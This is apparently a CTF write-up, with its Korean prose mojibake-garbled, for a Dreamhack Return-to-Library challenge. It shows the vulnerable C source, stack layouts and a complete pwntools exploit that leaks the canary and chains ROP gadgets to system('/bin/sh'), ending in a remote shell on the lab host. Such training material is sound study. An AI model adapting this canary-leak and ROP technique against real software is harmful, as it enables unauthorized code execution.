์คํ์ NX(No eXecutable stack) ๋ณด์ ๊ธฐ๋ฒ์ด ์ ์ฉ๋์์ ๋ ์ฌ์ฉํ๋ ๊ณต๊ฒฉ ๊ธฐ๋ฒ์ด๋ค.
NX ๋ณด์ ๊ธฐ๋ฒ์ "์คํ์์ ์ฝ๋ ์คํ ๋ถ๊ฐ"๋ผ๋ ์ ์ฝ ์กฐ๊ฑด์ ๋ง๋ค์๊ณ , ์ด๋ก ์ธํด ์คํ์์ shellcode๋ฅผ ์ฝ์ ํ๊ณ RET ์ฃผ์์ overwriteํ๋ 'Return to Shellcode' ๊ธฐ๋ฒ์ ์คํจํ๊ฒ ๋๋ค.
1์ค ์์ฝ
ํด๋น ๋ฌธ์ ๋ Dreamhack์ Return to library์ ๋ฌธ์ ๋ฅผ write-up ํ ๊ณผ์ ์ด๋ค.
// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie
#include <stdio.h>
#include <unistd.h>
const char* binsh = "/bin/sh";
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Add system function to plt's entry
system("echo 'system@plt");
// Leak canary
printf("[1] Leak Canary\n");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Overwrite return address
printf("[2] Overwrite return address\n");
printf("Buf: ");
read(0, buf, 0x100);
return 0;
}
์ด C์ฝ๋๋ฅผ ๋ณด๋ฉด buf์ ํฌ๊ธฐ๋ 0x30์ธ๋ฐ readํ ๋๋ 0x100์ผ๋ก ์ฝ๋๋ค. ์ด๋ฅผ ํตํด BOF๊ฐ ๋ฐ์ํ ์ ์๊ณ ์ด๋ฅผ ๊ธฐ๋ฐ์ผ๋ก ์ฐํ ๊ธฐ๋ฒ์ ์ข ๋ฅ๋ฅผ ํ์ ํด์ผ ํ๋ค.
ํด๋น c์ฝ๋์ ์์ฉ ํ๋ก๊ทธ๋จ ํ์ผ์ ์ฌ์ฉ๋ ๊ธฐ๋ฒ์ ๋ณด๋ฉด ์๋์ ๊ฐ๋ค.
***@***-virtual-machine:~/๋ฐํํ๋ฉด/dreamhack$ checksec ./rtl
[*] '/home/***/๋ฐํํ๋ฉด/dreamhack/rtl'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
Canary์ NX๊ธฐ๋ฒ์ด ์ ์ฉ๋์ด์๋ค.
// Leak canary
printf("[1] Leak Canary\n");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
์ด ์ฝ๋๋ฅผ ํตํด buf ~ canary+1๊น์ง dummydata๋ฅผ ๋ฃ๊ณ ๊ทธ ์ดํ์ ๊ฐ์ ์ฝ์ด ๋ค์ด๋ฉด canary์ ๊ฐ์ ์ฝ์ด๋ค์ผ ์ ์์ ๊ฒ์ด๋ค. ์ด๋ฅผ ํตํด Canary ๊ธฐ๋ฒ์ ์ฐํํ ์ ์๋ค.
// Overwrite return address
printf("[2] Overwrite return address\n");
printf("Buf: ");
read(0, buf, 0x100);
Canary๊ฐ์ ์์์ผ๋ฉด ์ด์ return to library ๊ฐ์ ์ ๋ ฅํ๋ค. ์ ์์ ์ธ ์คํ๊ฐ๊ณผ RTL ๊ณต๊ฒฉ์ ์ํ BOF ์คํ ๊ตฌ์กฐ๋ฅผ ๋น๊ตํ๋ฉด ์๋์ ๊ฐ๋ค.
----------------------------
| buf ( 48 bytes) |
----------------------------
| SFP ( 8 bytes) |
----------------------------
| RET |
----------------------------
| .... |
----------------------------
----------------------------
| buf (48 bytes) |
----------------------------
| Canary (8 bytes) |
----------------------------
| SFP (8 bytes) |
----------------------------
| RET (8 bytes) |
----------------------------
| /bin/sh |
----------------------------
ํด๋น RTL ๊ด๋ จ ๋์ ์๋ฆฌ๋ ์๋ ์ฌ์ดํธ์ ๊ฐ๋ฉด ๊ต์ฅํ ์์ธํ๊ฒ ์ค๋ช
ํด์ค๋ค. RTL ๊ณต๊ฒฉ ๊ธฐ๋ฒ์ ์๋ฆฌ๋ฅผ ์ดํดํ๋ ค๋ฉด leave์ ret ๋ช
๋ น์ด๋ฅผ ์ ๋ณด๋ฉด์ ๋ฐ๋ผ๊ฐ๊ธฐ๋ฅผ ๋ฐ๋๋ค. ์๋๋ Canary์ RTL ๊ณผ์ ์ ์ฐํํ๊ธฐ ์ํ ์คํ ๊ตฌ์กฐ๋ฅผ ๊ทธ๋ฆฐ ๊ฒ์ด๋ค.
--------------------------
| 'A' * 56 | --> buf (56 byte)
--------------------------
| 0x00 + canary |
--------------------------
| 'B' * 8 | --> SFP
--------------------------
| ret |
--------------------------
| pop rdi; ret |
--------------------------
| "/bin/sh" |
--------------------------
| system@plt |
--------------------------
์ด ๋ 'ret ์์ด pop rdi; ret์ ์ฌ์ฉํ๋ฉด ๋์ง ์์๊น?' ์ถ์ง๋ง ์คํ์ 0x10๋จ์๋ก ์ ๋ ฌ๋์ด์ผ ํ๋ค. ์ ๋ ฌ๋์ง ์์ผ๋ฉด 'segmentation fault'๊ฐ ์ผ์ด๋๋ค.
๋ฐ๋ผ์ ํด๋น payload๋ฅผ ๋ง๋ค์ด์ pwntools๋ฅผ ์ด์ฉํด์ ์ต์คํ๋ก์ํ๋ฉด ์ฑ๊ณต์ ์ผ ๊ฒ์ผ๋ก ์์๋๋ค.
from pwn import *
# p = process('./rtl')
p = remote("host1.dreamhack.games",16424)
e = ELF('./rtl')
r = ROP(e)
def slog(name,addr): return success(': '.join([name,hex(addr)]))
# [1] Leak Canary
buf = b'A'*0x39
p.sendafter(b'Buf: ',buf)
p.recvuntil(buf)
canary = u64(b'\x00'+p.recvn(7))
slog('canary',canary)
# [2] address
system_plt = e.plt['system']
binsh = next(e.search(b'/bin/sh'))
pop_rdi = r.find_gadget(['pop rdi'])[0]
ret = r.find_gadget(['ret'])[0]
slog("system@plt",system_plt)
slog("/bin/sh",binsh)
slog("pop rdi",pop_rdi)
slog("ret",ret)
# [3] exploit
payload = b'A'*0x38 + p64(canary) + b'B' * 0x8
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system_plt)
p.sendafter(b'Buf: ',payload)
p.interactive()
ํด๋น ์ต์คํ๋ก์ ์ฝ๋๋ฅผ ์ด์ฉํด์ ์งํํ๋ฉด ์๋์ ๊ฐ์ ๊ฒฐ๊ณผ๊ฐ ๋์จ๋ค.
'/home/***/๋ฐํํ๋ฉด/dreamhack/rtl'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
[*] Loaded 14 cached gadgets for './rtl'
[+] canary: 0x8debe702db062b00
[+] system@plt: 0x4005d0
[+] /bin/sh: 0x400874
[+] pop rdi: 0x400853
[+] ret: 0x400285
[*] Switching to interactive mode
$ ls
flag
rtl
run.sh
flag๋ฅผ ๋ณด๋ฉด DH๊ฐ์ด ๋์จ๋ค.
RTL ์๋ฆฌ๋ฅผ ์ดํดํ๊ธฐ ์ํด ์ฐธ๊ณ ํ๋ ์๋ฃ.
ํด๋น ์์ ๋ฅผ ๊ฐ์ฅ ์ ์ค๋ช ํ ์๋ฃ